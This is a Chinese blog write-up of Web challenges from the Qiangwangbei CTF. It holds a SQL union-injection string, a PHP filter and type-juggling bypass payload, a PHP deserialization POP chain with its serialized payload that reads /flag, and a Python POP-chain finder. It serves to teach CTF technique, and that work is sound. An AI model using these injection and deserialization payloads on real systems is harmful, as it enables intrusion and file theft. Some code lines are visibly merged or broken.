强网杯作为国内最好的CTF比赛之一,搞安全的博友和初学者都可以去尝试下。首先,让我们观摩下这些大神队伍,包括0x300R、eee、0ops、AAA、NeSE、Nu1L等,真的值得我们去学习。其次,非常感谢强网杯的主办方,这么好的比赛离不开许多师傅们的辛苦,我们应该感恩这么高质量比赛的幕后工作者。最后,作为一枚安全菜鸡,不,比菜鸡还菜,就让我简单复现下本次比赛的Web题目。不喜勿喷,欢迎指正~
由于这次强网杯正值端午节,自己回家陪小孩和女神了,不回去也做不出来o(╥﹏╥)o,因此仅仅大致阅览了下Web题目。但整体而言,比赛题目的水准仍然非常高,尤其是RE和PWN,包括Web,所以还是有很多知识点值得我们学习的。最后,非常感谢参考文献的大佬们,尤其是Nu1L战队(推荐VX关注他们),也感谢许多参加比赛的伙伴和博友们。如果您是一名安全初学者,不妨多参加比赛,每一次CTF比赛都能让我们学到很多东西,即使是赛后的WP,也能成长不少。同时有个遗憾,比赛完后题目不能打开复现,将就看吧。
作者在外读博求学,接下里的时间都会放到论文和实验上,因此CSDN已停更技术文章,但这篇文章还是总结出来,只望对初学者有帮助。此外,我为自己定了一个新目标,33岁之后(博士毕业),正式进军CTF和AI比赛圈,那时候会刷大量的CTF题及参加各种实战比赛,寓教于乐,也希望能带着我贵州的学生站在CTF的舞台上或冲榜天池,到了那时,希望我这位菜鸟大叔还能保持激情。哈哈,加油,且行且珍惜~
比赛信息
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该安全系列原文github已开源,如果喜欢也可以支持作者,赚点奶粉钱,哈哈。
个人而言,感觉自己能做出来的主要是这四道题目,因此先结合大佬们的WP复述。下面一些方法是从我这个菜鸟的角度介绍,各位大神见笑,可以帮忙批评和指正,哈哈~
题目描述如下:
该网站打开如下图所示:
如果直接访问文件会提示错误。
第一步,从github下载dirsearch工具(Python脚本),这是一个目录扫描工具,目的是扫描网站的敏感文件和目录从而找到突破口。
https://github.com/maurosoria/dirsearch
大佬们用啥扫描软件呢?Kali dirb吗?
通过dirsearch扫描目录,自己在目录输入栏输入CMD快速进入。我们发现了敏感文件目录 files
。
第二步,打开files目录发现每个文件对应的路径。
[{
"id":1,"path":"c09358adff2ebfff2ef9b4fbacc4ac0b","filename":"hint.txt","date":"5/31/2021, 9:10:29 PM"},
{
"id":2,"path":"1c60db40f1f992ff1b8243c1e24dd149","filename":"exp.py","date":"5/31/2021, 9:11:27 PM"},
{
"id":3,"path":"da2574de5ac23b656882772a625ba310","filename":"www.zip","date":"5/31/2021, 9:12:44 PM"}]
我蠢蠢的拼接路径,还是无法打开。大概猜测后续需要进一步获取这些敏感文件,但如何获取可能需要提权或其他渗透手段。
下面开始参考Nu1L大神们的WP。哎,自己还是太菜了,哈哈 ^O(∩_∩)O
第三步,我们尝试打开hint目录,可以看到提示去服务器获取文件的信息。
{
"hint":"# hint ^_^\n\tSo~ How to get files in this server?
\n\tfiles/????????????????????????????????"}
第四步,他们扫描发现了后台登录页面,网址如下:
Try to scan 35000-40000 ^_^.
All tables are empty except for the table where the username and password
are located
Table: employ
第五步,发现后台登录存在注入,直接进入后台,使用注入语句如下。
' union select 1,2,3,4,5,6,7-- a
第六步,扫描发现存在 file 路由文件上传,经过测试发现文件采用无字符webshell,文件名为 1.p
第七步, jboss 部署 war 包拿 flag。
都是什么神仙操作,有时候看着只差一步,但差之千里,功夫还太浅。
加油吧!少年,多向这些大佬学习。
题目描述如下:
该网站打开如下图所示:
该题目WP参考joker-yan大佬的解题思路,在此感谢,CSDN博友的可以关注他一波。
该网站包括两个输入框,需要你输入Key1和Key2然后解密。通过信息1和信息2分别获取两段Key值。
第一步,分别下载线索1和线索2。
第二步,分析source1.php源代码,通过bypass获取结果。
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
function filter($string){
$filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000');
$filter_phrase= '/'.implode('|',$filter_word).'/';
return preg_replace($filter_phrase,'',$string);
}
if($ppp){
unset($ppp);
}
$ppp['number1'] = "1";
$ppp['number2'] = "1";
$ppp['nunber3'] = "1";
$ppp['number4'] = '1';
$ppp['number5'] = '1';
extract($_POST);
$num1 = filter($ppp['number1']);
$num2 = filter($ppp['number2']);
$num3 = filter($ppp['number3']);
$num4 = filter($ppp['number4']);
$num5 = filter($ppp['number5']);
if(isset($num1) && is_numeric($num1)){
die("非数字");
}
else{
if($num1 > 1024){
echo "第一层";
if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){
echo "第二层";
if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){
echo "第三层";
if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){
echo "第四层";
if(!isset($num5)||(strlen($num5)==0)) die("no");
$b=json_decode(@$num5);
if($y = $b === NULL){
if($y === true){
echo "第五层";
include 'KeY1lhv.php';
echo $KEY1;
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no111");
}
}
非数字
?>
核心bypass代码如下:
第三步,尝试在本地搭建环境进行bypass五层绕过。
for ($a=60000000;$a<70000000;$a++)
{
if(substr(md5($a),0,7)=='4bf21cd')
{
echo $a;
}
}
?>
第四步,最终构造的Payload能绕过source1.php。
ppp[number1]=11111a&&ppp[number2]=3.0e6&ppp[number3]=61823470&
ppp[number4]=0e00000&ppp[number5]=eastmount
此时,我们得到Key1。
第五步,注意下载该压缩包总失败,我们可以随意使用⼀个支持自动分片下载的下载工具即可,如迅雷。解压后发现是一对docx文件,编写一个Python脚本遍历搜索“KEY2”即可。
方法很多,比如LU神的代码。
再如Nu1L大神的代码。
import glob
import zipfile
import tqdm
from xml.etree.cElementTree import XML
WORD_NAMESPACE = '{http://schemas.openxmlformats.org/wordprocessingml/2006/main}'
PARA = WORD_NAMESPACE + 'p'
TEXT = WORD_NAMESPACE + 't'
def get_docx_text(path):
document = zipfile.ZipFile(path)
xml_content = document.read('word/document.xml')
document.close()
tree = XML(xml_content)
paragraphs = []
for paragraph in tree.getiterator(PARA):
texts = [node.text
for node in paragraph.getiterator(TEXT)
if node.text]
if texts:
paragraphs.append(''.join(texts))
return '\n\n'.join(paragraphs)
files = glob.glob('*/*/*.docx')
for fname in tqdm.tqdm(files):
res = get_docx_text(fname)
if 'key2{' in res.lower():
print(fname, res)
第六步,输入两个KEY值既可以获取最终的flag。
题目描述如下:
该网站打开如下图所示:
该题目未做出来真的该打,一方面自己对反序列化还是不够深入,另一方面还是自己太菜,后面做50道反序列化题目,然后写篇博客总结吧!
第一步,结合题目源码提醒,利用dirsearch扫描目录,发现 www.zip
文件。
第二步,该压缩包解压为一个index.php源文件,核心思想是bypass反序列化然后执行hint.php得到flag。
index.php
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}
?>
第三步,构造序列化代码生成payload,这里引用Nu1L的代码。
dt-wp.php
class Start
{
public $name;
public function __construct($a){
$this->name=$a;
}
}
class Info
{
public $file;
public function __construct($b){
$this->file['filename']=$b;
}
}
class Room
{
public $filename="/flag";
public $a;
public function __construct(){
$this->filename="/flag";
}
public function invoke(){
$this->a=new Room();
}
}
$a=new Room();
$a->invoke();
$b=new Info($a);
$c=new Start($b);
echo serialize($c);
?>
生成的结果如下图所示,通过该构造即可获取flag。
O:5:"Start":1:{
s:4:"name";O:4:"Info":1:{
s:4:"file";a:1:{
s:8:"filename";O:4:"Room":2:{
s:8:"filename";s:5:"/flag";s:1:"a";O:4:"Room":2:{
s:8:"filename";s:5:"/flag";s:1:"a";N;}}}}}
PS:由于太菜,还需要消化一段时间,后续作者会深入分析…
题目描述如下:
该网站打开如下图所示:
include "class.php";
//class.php.txt
highlight_file(__FILE__);
$a = $_GET['pop'];
$b = $_GET['argv'];
$class = unserialize($a);
$class->nZepGo($b);
这里仅放个Nu1L大佬的WP。
from phply import phplex
from phply.phpparse import make_parser
from phply.phpast import *
import pprint
import nose
parser = make_parser()
func_name = "find your func"
con = open("./qwb/class.php").read()
lexer = phplex.lexer.clone()
lexer.filename = None
output = parser.parse(con, lexer=lexer)
functions = {
}
target = functions[func_name] i = 0
# 强赋值函数直接跳过
skip_func = []
pop_chain = []
pop_chain.append(func_name) e = False
for out in output:
class_name = out.name
for node in out.nodes:
if(type(node) == Method):
functions[node.name] = out
while(e is False):
for node in target.nodes:
if(type(node) == Method):
if node.name == func_name:
for subnode in node.nodes:
if type(subnode) == MethodCall:
# print(subnode)
if(subnode.name in skip_func):
continue
target = functions[subnode.name]
func_name = subnode.name
pop_chain.append(func_name)
break
if(type(subnode) == If):
# print(subnode)
if type(subnode.node) == MethodCall :
# print(subnode.node.name)
if( subnode.node.name in skip_func):
continue
target = functions[subnode.node.name]
func_name = subnode.node.name
pop_chain.append(func_name)
break
if(type(subnode) == Eval):
e = True
for pop in pop_chain:
print("class " + functions[pop].name + "{")
for node in functions[pop].nodes:
if(type(node) == ClassVariables):
for subnode in node.nodes:
print("public " + subnode.name + ';')
print("public function __construct(){")
if i+1 == len(pop_chain):
print("")
else:
print("$this->" + subnode.name[1:] + "= new " +
functions[pop_chain[i+1]].name + "();")
print("}")
print("}")
i += 1
if i == len(pop_chain):
break
后续补充官方解题和手撸过程…
写到这里,这篇文章就介绍结束了,希望对您有所帮助。希望三年博士毕业后,我不再是WP分享者,而能够通过参赛和学习做出更多的题目,也期待带学生一起比赛的一天,加油!下面简单总结每题知识点。
作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,由于在外读博,目前暂停技术更新,但这篇确实应该总结下,希望您能与我一起操作和进步。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔。同时再次感谢参考文献中的安全大佬们的文章分享,尤其Nu1L战队,深知自己很菜,得努力前行。
欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。
(By:Eastmount 2021-06-15 夜于武汉 http://blog.csdn.net/eastmount/ )
自学篇(链接直接跳转到正文):
提高篇: